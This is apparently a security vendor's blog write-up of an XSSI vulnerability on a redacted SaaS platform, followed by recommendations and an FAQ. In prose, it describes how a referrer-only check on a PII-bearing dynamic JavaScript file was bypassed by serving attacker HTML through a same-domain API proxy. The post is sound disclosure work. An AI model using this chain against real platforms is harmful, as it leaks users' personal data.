.svg)
Inside a Real XSSI Exploit on a Shared Domain Platform
An exploration into how shared domain scopes, dynamic JS files, and weak referrer-based access controls can be chained into a practical and stealthy XSSI exploit.
During a security engagement on REDACTED-ORG's XYZ platform, we uncovered a creative Cross-Site Script Inclusion (XSSI) vulnerability. The issue stemmed from a dynamic JavaScript file that exposed user data post-authentication, coupled with an overly permissive and easily bypassed referrer validation.
While the system attempted to restrict access via the Referer header, the existence of a proxying mechanism under the same domain (*.redactedorgtest.net) enabled us to serve malicious HTML from a trusted subdomain, bypassing the restriction entirely.
This post walks through the investigation, the core weaknesses, the exploit chain, and the recommendations to avoid such issues.
REDACTED-ORG’s XYZ platform is a feature-rich SaaS ecosystem with multiple services interconnected via a central user authentication and navigation system.
Key hosts involved:
Once a user logs in to platform.redactedorgtest.net, the authentication cookie (session) is scoped to .redactedorgtest.net. This is expected, as it allows other services under that domain to share session state. However, this opens a door to abuse if any subdomain can serve malicious content or be misused to bypass domain-level controls.
After login, we examined JS resources loaded on the dashboard. A key discovery:
This JavaScript file included a globally scoped variable:
This file is dynamically generated and contains Personally Identifiable Information (PII) for the logged-in user. While dynamic JS isn't unusual, exposing this data without strict access control is dangerous.
We attempted to include the JavaScript in a foreign-origin page using:
Expectation: The browser fetches the JS file, executes it, and the malicious page reads intercomSettings.
Reality:
We hit a 403 Forbidden response with an "Unsupported Hostname" error. This indicated some form of origin-based validation.
We ruled out the Host header — the error wasn't due to a mismatched Host. The suspicion fell on the Referer header.
Conclusion: The file was protected only by a referrer allowlist.
This created a classic XSSI opportunity — all we needed was a way to serve our malicious page under a valid subdomain of .redactedorgtest.net.
Unsupported Host based on Referer Header
The host apicentral.qa.xxxx.redactedorgtest.net offers an API Proxy feature where users can upload Swagger/OpenAPI definitions. The platform then creates reverse proxy endpoints on its own subdomains like:
This means:
This gives us the perfect delivery vector!
We crafted a minimal Swagger file pointing to a free HTML hosting service (000webhostapp.com):
On https://apoctrial.000webhostapp.com/xssi-poc.html, we hosted:
After uploading the Swagger file, we received a proxy URL like:
This proxy fetched our hosted POC and served it under a valid .redactedorgtest.net subdomain.
Now, when a logged-in user visits this proxy URL:
This case study highlights how even well-meaning architectural decisions - like dynamic JS and centralized proxying - can backfire if not rigorously secured.
XSSI is often overlooked because it's quiet. There's no alert box, no DOM injection. But in the right context, it’s every bit as dangerous as traditional XSS, especially when it can leak auth-scoped data silently.
And what if there’s an easy way to keep up with stealth attacks like XSSI before they hit production?
You don’t have time to hunt for hidden risks after they’re exploited. With we45, you uncover issues like weak trust boundaries, proxy abuse, and quiet data leaks early - when they’re cheaper to fix and before they become breaches.
Let’s talk about securing your architecture.
Further reading
XSSI is a client-side attack where an attacker loads a legitimate JavaScript file from a trusted site into a malicious page. If the JS file exposes sensitive variables or data, the attacker can steal it without needing traditional XSS. Unlike classic script injection, XSSI abuses how browsers include scripts.
XSS injects malicious code into a trusted site. XSSI piggybacks on trusted JavaScript files already hosted by the target. In XSSI, the attacker does not inject code but instead tricks the browser into executing a sensitive file in a hostile context.
When user data is embedded directly into dynamically generated JavaScript files, any page that can load those files can expose that data. If access control is weak, attackers can silently capture personal information like emails, names, or company details.
Referrer checks rely on the Referer header to validate where a request came from. Since this header can be spoofed or satisfied by hosting malicious code under a trusted subdomain, it is not a strong defense. Attackers can abuse proxies or subdomains to bypass this control.
The API Center’s reverse proxy let users host files under a subdomain of the target’s domain. This meant attackers could serve malicious HTML from a trusted origin. When that page requested sensitive JavaScript, the weak referrer checks passed, and user data leaked.
Yes. XSSI does not require injecting code into the target site. The attacker only needs the victim’s browser to load the vulnerable JS file in a malicious context. This makes XSSI quieter and harder to detect than XSS.
Best practices include: Do not store sensitive data in inline or dynamic JavaScript files. Use authenticated API endpoints with token-based access. Scope cookies and sessions to specific domains rather than broad wildcards. Avoid referrer-based validation; rely on the Origin header instead. Lock down proxy services and validate uploaded specifications before allowing routing.
There are no alert boxes or broken pages. From a user’s perspective, nothing unusual happens. But in the background, sensitive data is silently exposed to the attacker. Because there is no script injection on the original application, many security tools overlook it.
Organizations running large SaaS platforms with many subdomains, shared session cookies, and centralized proxies are at higher risk. Complex service meshes often introduce trust assumptions that attackers can exploit.
Yes. While it does not modify the DOM directly, XSSI can exfiltrate authentication-scoped data. In scenarios where exposed JavaScript includes tokens or user PII, the business impact is equivalent to an XSS-driven data breach.
